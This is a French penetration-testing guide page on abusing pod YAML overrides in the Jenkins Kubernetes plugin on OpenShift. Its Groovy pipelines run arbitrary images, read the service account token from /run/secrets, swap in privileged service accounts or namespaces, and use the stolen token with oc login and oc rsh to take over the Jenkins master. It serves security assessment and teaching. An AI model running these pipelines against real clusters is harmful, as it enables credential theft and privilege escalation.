# Jenkins dans Openshift - remplacements de pod de construction

**L'auteur original de cette page est** [**Fares**](https://www.linkedin.com/in/fares-siala/)

## Plugin Kubernetes pour Jenkins
Ce plugin est principalement responsable des fonctions de base de Jenkins à l'intérieur d'un cluster openshift/kubernetes. Documentation officielle [ici](https://plugins.jenkins.io/kubernetes/)
Il offre quelques fonctionnalités telles que la possibilité pour les développeurs de remplacer certaines configurations par défaut d'un pod de construction Jenkins.

## Fonctionnalité principale

Ce plugin permet une flexibilité aux développeurs lors de la construction de leur code dans un environnement adéquat.
```groovy
podTemplate(yaml: '''
apiVersion: v1
kind: Pod
spec:
containers:
- name: maven
image: maven:3.8.1-jdk-8
command:
- sleep
args:
- 99d
''') {
node(POD_LABEL) {
stage('Get a Maven project') {
git 'https://github.com/jenkinsci/kubernetes-plugin.git'
container('maven') {
stage('Build a Maven project') {
sh 'mvn -B -ntp clean install'
}
}
}
}
}
```
## Certains abus tirant parti de l'override yaml de pod

Il peut cependant être abusé pour utiliser n'importe quelle image accessible comme Kali Linux et exécuter des commandes arbitraires en utilisant des outils préinstallés de cette image. Dans l'exemple ci-dessous, nous pouvons exfiltrer le token de serviceaccount du pod en cours d'exécution.
```groovy
podTemplate(yaml: '''
apiVersion: v1
kind: Pod
spec:
containers:
- name: kali
image: myregistry/mykali_image:1.0
command:
- sleep
args:
- 1d
''') {
node(POD_LABEL) {
stage('Evil build') {
container('kali') {
stage('Extract openshift token') {
sh 'cat /run/secrets/kubernetes.io/serviceaccount/token'
}
}
}
}
}
```
Une syntaxe différente pour atteindre le même objectif.
```groovy
pipeline {
stages {
stage('Process pipeline') {
agent {
kubernetes {
yaml """
spec:
containers:
- name: kali-container
image: myregistry/mykali_image:1.0
imagePullPolicy: IfNotPresent
command:
- sleep
args:
- 1d
"""
}
}
stages {
stage('Say hello') {
steps {
echo 'Hello from a docker container'
sh 'env'
}
}
}
}
}
}
```
Exemple pour remplacer l'espace de noms du pod
```groovy
pipeline {
stages {
stage('Process pipeline') {
agent {
kubernetes {
yaml """
metadata:
namespace: RANDOM-NAMESPACE
spec:
containers:
- name: kali-container
image: myregistry/mykali_image:1.0
imagePullPolicy: IfNotPresent
command:
- sleep
args:
- 1d
"""
}
}
stages {
stage('Say hello') {
steps {
echo 'Hello from a docker container'
sh 'env'
}
}
}
}
}
}
```
Un autre exemple qui essaie de monter un serviceaccount (qui peut avoir plus de permissions que celui par défaut, exécutant votre build) en fonction de son nom. Vous devrez peut-être deviner ou énumérer d'abord les serviceaccounts existants.
```groovy
pipeline {
stages {
stage('Process pipeline') {
agent {
kubernetes {
yaml """
spec:
serviceAccount: MY_SERVICE_ACCOUNT
containers:
- name: kali-container
image: myregistry/mykali_image:1.0
imagePullPolicy: IfNotPresent
command:
- sleep
args:
- 1d
"""
}
}
stages {
stage('Say hello') {
steps {
echo 'Hello from a docker container'
sh 'env'
}
}
}
}
}
}
```
La même technique s'applique pour essayer de monter un Secret. L'objectif final ici serait de comprendre comment configurer votre build de pod pour pivoter efficacement ou obtenir des privilèges.

## Aller plus loin

Une fois que vous êtes habitué à jouer avec, utilisez vos connaissances sur Jenkins et Kubernetes/Openshift pour trouver des erreurs de configuration / abus.

Posez-vous les questions suivantes :

- Quel compte de service est utilisé pour déployer des pods de build ?
- Quels rôles et permissions a-t-il ? Peut-il lire les secrets de l'espace de noms dans lequel je me trouve actuellement ?
- Puis-je énumérer d'autres pods de build ?
- À partir d'un sa compromis, puis-je exécuter des commandes sur le nœud/pod maître ?
- Puis-je énumérer davantage le cluster pour pivoter ailleurs ?
- Quel SCC est appliqué ?

Vous pouvez découvrir quels commandes oc/kubectl émettre [ici](../openshift-basic-information.md) et [ici](../../kubernetes-security/kubernetes-enumeration.md).

### Scénarios possibles de privesc/pivoting

Supposons que lors de votre évaluation, vous ayez découvert que tous les builds Jenkins s'exécutent dans un espace de noms appelé _worker-ns_. Vous avez découvert qu'un compte de service par défaut appelé _default-sa_ est monté sur les pods de build, cependant il n'a pas tant de permissions à part un accès en lecture sur certaines ressources mais vous avez pu identifier un compte de service existant appelé _master-sa_.
Supposons également que vous ayez la commande oc installée à l'intérieur du conteneur de build en cours d'exécution.

Avec le script de build ci-dessous, vous pouvez prendre le contrôle du compte de service _master-sa_ et énumérer davantage.
```groovy
pipeline {
stages {
stage('Process pipeline') {
agent {
kubernetes {
yaml """
spec:
serviceAccount: master-sa
containers:
- name: evil
image: random_image:1.0
imagePullPolicy: IfNotPresent
command:
- sleep
args:
- 1d
"""
}
}
stages {
stage('Say hello') {
steps {
sh 'token=$(cat /run/secrets/kubernetes.io/serviceaccount/token)'
sh 'oc --token=$token whoami'
}
}
}
}
}
}
```
Selon votre accès, soit vous devez continuer votre attaque à partir du script de construction, soit vous pouvez vous connecter directement en tant que cet sa sur le cluster en cours d'exécution :
```bash
oc login --token=$token --server=https://apiserver.com:port
```
Si ce sa a suffisamment de permissions (comme pod/exec), vous pouvez également prendre le contrôle de l'ensemble de l'instance jenkins en exécutant des commandes à l'intérieur du pod du nœud maître, s'il s'exécute dans le même espace de noms. Vous pouvez facilement identifier ce pod par son nom et par le fait qu'il doit monter un PVC (persistent volume claim) utilisé pour stocker les données de jenkins.
```bash
oc rsh pod_name -c container_name
```
Dans le cas où le pod du nœud maître ne fonctionne pas dans le même espace de noms que les travailleurs, vous pouvez essayer des attaques similaires en ciblant l'espace de noms maître. Supposons qu'il s'appelle _jenkins-master_. Gardez à l'esprit que le serviceAccount master-sa doit exister dans l'espace de noms _jenkins-master_ (et pourrait ne pas exister dans l'espace de noms _worker-ns_).
```groovy
pipeline {
stages {
stage('Process pipeline') {
agent {
kubernetes {
yaml """
metadata:
namespace: jenkins-master
spec:
serviceAccount: master-sa
containers:
- name: evil-build
image: myregistry/mykali_image:1.0
imagePullPolicy: IfNotPresent
command:
- sleep
args:
- 1d
"""
}
}
stages {
stage('Say hello') {
steps {
echo 'Hello from a docker container'
sh 'env'
}
}
}
}
}
}
